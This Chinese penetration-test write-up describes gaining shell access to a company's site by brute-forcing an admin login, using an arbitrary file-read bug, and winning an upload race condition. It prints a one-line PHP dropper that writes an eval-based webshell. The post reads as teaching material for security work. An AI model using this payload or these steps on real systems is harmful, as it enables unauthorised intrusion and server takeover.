利用文件读取加条件竞争Getshell

admin 2024年12月29日22:57:02评论8 views字数 1128阅读3分45秒阅读模式

前提

最近在测一个第三方网站,同时被告知这个第三方网站没有安全,那我心想这不是稳了,可以早点拿到权限交差。可整个过程下来还是有点曲折的。

Getshell过程

信息收集

按照惯例,拿到目标以后先来一波信息收集。用工具一顿扫描,拿到了一些域名和IP。

端口测试

用nmap扫描了一波IP,看到开了ssh端口,感觉有戏,拿出了我珍藏好久的字典就开始爆破,结果爆破了个寂寞,没想到他们安全意识还挺高竟然没有使用弱密码,这不像是没有安全的公司啊。

利用文件读取加条件竞争Getshell

其它的端口暂时没有发现什么有价值的,这条路暂时走不通,只能换条路子了。拿到的域名中看到有几个后台,看看能不能从这里找到突破口。

web测试

打开后台登录页面发现是通过手机号进行登录的,那么常规的用户字典就没有什么用处了,只能再去收集跟他们公司有关的手机号,再去尝试。

利用文件读取加条件竞争Getshell

从他们公司官网,爱企查等网站收集了一波手机号,由于没有使用验证码,那就直接开始爆破。有一个手机号使用了弱密码,成功登录后台,看到了胜利的希望。

利用文件读取加条件竞争Getshell

简单浏览了一下后台功能,发现了几个上传点。在测试第一个的时候就发现了一个问题,他们上传是上传到OSS中的,那么通过上传这条路拿shell可能也走不通了,把上传全部看了一遍,结果都是这样。这让我严重怀疑他们真的没有安全人员嘛?

接下来又认真看了一下其它功能,在一处下载处发现了一个任意文件读取漏洞。然后就想着把刚才有上传功能的文件下载下来看看他们上传的具体逻辑是什么样的。

利用文件读取加条件竞争Getshell

它们上传是先把文件放到本地,然后上传到OSS中,最后删除了本地文件,而且本地文件还是放在web目录内。

利用文件读取加条件竞争Getshell

看到这里,各位可能就知道下一步要怎么去做了,没错,就是利用条件竞争去上传文件。

条件竞争Getshell

针对上传来说,条件竞争有三个利用条件:

1)文件先保存在本地

2)文件名不是随机的,或者有规律可循

3)上传的文件在web目录内

这次遇到的满足上面的条件。因此上传包含下面内容的脚本,并且在删除掉文件前访问到这个文件就可以生成另外一个shell脚本。

<?php fputs(fopen("xxx.php", "w"), '<?php eval($_POST[eeeeeeee]);?>'); ?>

花费了n多分钟,写了一个简单的脚本,用来实现这个过程。看到sucess的时候,就知道脚本已经成功的上传了。

利用文件读取加条件竞争Getshell

成功的拿到了shell,后面就是提权了,到这里也差不多就可以交差了。

利用文件读取加条件竞争Getshell

总结

这次的测试主要就是利用任意文件读取+条件竞争得到shell,都是一些比较基本的操作。测试过程中一定要有耐心,如果没有耐心可能测试上传发现都是到OSS的,可能就会直接放弃了。

作者:Notadmin,转自FreeBuf.COM

原文始发于微信公众号(HACK之道):利用文件读取加条件竞争Getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月29日22:57:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用文件读取加条件竞争Getshellhttps://cn-sec.com/archives/3566881.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息